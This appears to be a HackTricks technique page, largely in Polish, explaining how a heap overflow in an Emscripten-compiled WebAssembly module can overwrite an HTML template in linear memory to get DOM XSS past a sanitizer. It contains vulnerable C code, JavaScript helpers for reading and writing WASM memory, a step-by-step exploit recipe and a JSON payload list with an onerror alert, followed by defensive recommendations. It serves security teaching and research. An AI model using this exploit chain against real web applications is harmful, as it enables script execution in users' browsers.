WebAssembly linear memory corruption to DOM XSS (template overwrite)

Reading time: 8 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Ta technika pokazuje, jak błąd korupcji pamięci w module WebAssembly (WASM) skompilowanym za pomocą Emscripten można wykorzystać do niezawodnego DOM XSS, nawet gdy wejście jest zsanitowane. Pivot polega na uszkodzeniu zapisywalnych stałych w WASM linear memory (np. HTML format templates) zamiast atakować zsanitowany string źródłowy.

Key idea: W modelu WebAssembly kod znajduje się w nie-zapisywalnych stronach wykonywalnych, natomiast dane modułu (heap/stack/globals/"constants") mieszczą się w jednej płaskiej linear memory (strony po 64KB), która jest zapisywalna przez moduł. Jeśli błędny kod C/C++ zapisze poza granicami, można nadpisać sąsiednie obiekty, a nawet stałe łańcuchy osadzone w linear memory. Gdy taka stała zostanie później użyta do budowy HTML do wstawienia przez DOM sink, zsanitowane wejście można przekształcić w wykonywalny JavaScript.

Threat model and preconditions

  • Web app uses Emscripten glue (Module.cwrap) to call into a WASM module.
  • Stan aplikacji znajduje się w WASM linear memory (np. C structs z pointers/lengths do user buffers).
  • Input sanitizer koduje metaznaki przed zapisaniem, ale późniejsze renderowanie buduje HTML używając format string przechowywanego w WASM linear memory.
  • Istnieje prymityw korupcji linear-memory (np. heap overflow, UAF, lub unchecked memcpy).

Minimal vulnerable data model (example)

c
typedef struct msg {
char *msg_data;       // pointer to message bytes
size_t msg_data_len;  // length after sanitization
int msg_time;         // timestamp
int msg_status;       // flags
} msg;

typedef struct stuff {
msg *mess;            // dynamic array of msg
size_t size;          // used
size_t capacity;      // allocated
} stuff; // global chat state in linear memory

Wzorzec podatnej logiki

  • addMsg(): alokuje nowy bufor o rozmiarze dopasowanym do oczyszczonego wejścia i dopisuje msg do s.mess, podwajając pojemność za pomocą realloc w razie potrzeby.
  • editMsg(): ponownie oczyszcza i za pomocą memcpy kopiuje nowe bajty do istniejącego bufora, nie zapewniając, że nowa długość ≤ starego przydziału → intra‑linear‑memory heap overflow.
  • populateMsgHTML(): formatuje oczyszczony tekst z wbudowanym stubem takim jak "

    %.*s

    " znajdującym się w linear memory. Zwrócone HTML trafia do DOM sink (np. innerHTML).

Allocator grooming with realloc()

c
int add_msg_to_stuff(stuff *s, msg new_msg) {
if (s->size >= s->capacity) {
s->capacity *= 2;
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
if (s->mess == NULL) exit(1);
}
s->mess[s->size++] = new_msg;
return s->size - 1;
}
  • Wyślij wystarczająco dużo wiadomości, aby przekroczyć początkową pojemność. Po rozszerzeniu, realloc() często umieszcza s->mess bezpośrednio po ostatnim buforze użytkownika w pamięci liniowej.
  • Przepełnij ostatnią wiadomość za pomocą editMsg(), aby nadpisać pola wewnątrz s->mess (np. nadpisać wskaźniki msg_data) → dowolne nadpisanie wskaźników w pamięci liniowej dla danych, które zostaną później wyrenderowane.

Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source

  • Oczyszczanie danych (sanitization) chroni wejście, nie sinki. Znajdź format stub używany przez populateMsgHTML(), np.:
  • "

    %.*s

    " → change to ""
  • Zlokalizuj stub deterministycznie przez skanowanie pamięci liniowej; jest to zwykły ciąg bajtów wewnątrz Module.HEAPU8.
  • Po nadpisaniu stuba, oczyszczona zawartość wiadomości staje się handlerem JavaScript dla onerror, więc dodanie nowej wiadomości z tekstem takim jak alert(1337) daje i wykonuje się natychmiast w DOM.

Chrome DevTools workflow (Emscripten glue)

  • Ustaw breakpoint na pierwszym wywołaniu Module.cwrap w JS glue i wejdź do miejsca wywołania wasm, aby przechwycić argumenty wskaźnikowe (numeryczne offsety w pamięci liniowej).
  • Używaj typowanych widoków takich jak Module.HEAPU8 do odczytu/zapisu pamięci WASM z konsoli.
  • Helper snippets:
javascript
function writeBytes(ptr, byteArray){
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
for(let i=0;i<byteArray.length;i++){
const byte = byteArray[i];
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
HEAPU8[ptr+i]=byte;
}
}
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
function readBytesAsChars(ptr,len){
const bytes=HEAPU8.subarray(ptr,ptr+len);
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
}
function searchWasmMemory(str){
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
for(let i=0;i<mem.length-pat.length;i++){
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
if(ok) console.log(`Found "${str}" at memory address:`, i);
}
console.log(`"${str}" not found in memory`);
return -1;
}
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int

Pełny przepis na eksploatację end-to-end

  1. Przygotowanie: dodaj N małych wiadomości, aby wywołać realloc(). Upewnij się, że s->mess znajduje się obok bufora użytkownika.
  2. Przepełnienie: wywołaj editMsg() na ostatniej wiadomości z dłuższym ładunkiem, aby nadpisać wpis w s->mess, ustawiając msg_data wiadomości 0 tak, aby wskazywał na (stub_addr + 1). +1 pomija wiodący '<', aby zachować wyrównanie tagu podczas następnej edycji.
  3. Przepisywanie szablonu: edytuj wiadomość 0 tak, aby jej bajty nadpisały szablon następującym ciągiem: "img src=1 onerror=%.*s ".
  4. Wywołaj XSS: dodaj nową wiadomość, której oczyszczona zawartość to JavaScript, np. alert(1337). Renderowanie emituje i wykonuje kod.

Przykładowa lista akcji do serializacji i umieszczenia w ?s= (zakoduj w Base64 przy użyciu btoa przed użyciem)

json
[
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"add","content":"hi","time":1756840476392},
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
{"action":"edit","msgId":0,"content":"img src=1      onerror=%.*s ","time":1756885686080},
{"action":"add","content":"alert(1337)","time":1756840476392}
]

Dlaczego ten bypass działa

  • WASM zapobiega wykonywaniu kodu z linear memory, ale stałe dane wewnątrz linear memory są zapisywalne, jeśli logika programu jest błędna.
  • Mechanizm sanitizujący chroni tylko source string; przez uszkodzenie sinka (the HTML template), oczyszczone dane stają się wartością JS handler i wykonują się po wstawieniu do DOM.
  • realloc()-driven adjacency plus unchecked memcpy w ścieżkach edycji umożliwia korupcję wskaźników, by przekierować zapisy na adresy wybrane przez atakującego wewnątrz linear memory.

Uogólnienie i inne powierzchnie ataku

  • Każdy in-memory HTML template, JSON skeleton lub URL pattern osadzony w linear memory może być celem, aby zmienić sposób, w jaki sanitized data jest interpretowane downstream.
  • Inne powszechne pułapki WASM: out-of-bounds writes/reads w linear memory, UAF na heap objects, function-table misuse z unchecked indirect call indices, oraz JS↔WASM glue mismatches.

Zalecenia obronne

  • W ścieżkach edycji weryfikuj new length ≤ capacity; zmieniaj rozmiar buforów przed kopiowaniem (realloc to new_len) lub używaj API ograniczających rozmiar (snprintf/strlcpy) i śledź capacity.
  • Trzymaj immutable templates poza zapisywalnym linear memory lub sprawdzaj ich integralność przed użyciem.
  • Traktuj granice JS↔WASM jako nieufne: validate pointer ranges/lengths, fuzz exported interfaces, i ogranicz memory growth.
  • Sanityzuj przy sinku: unikaj budowania HTML w WASM; preferuj bezpieczne DOM APIs zamiast innerHTML-style templating.
  • Nie ufaj URL-embedded state w uprzywilejowanych przepływach.

References

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks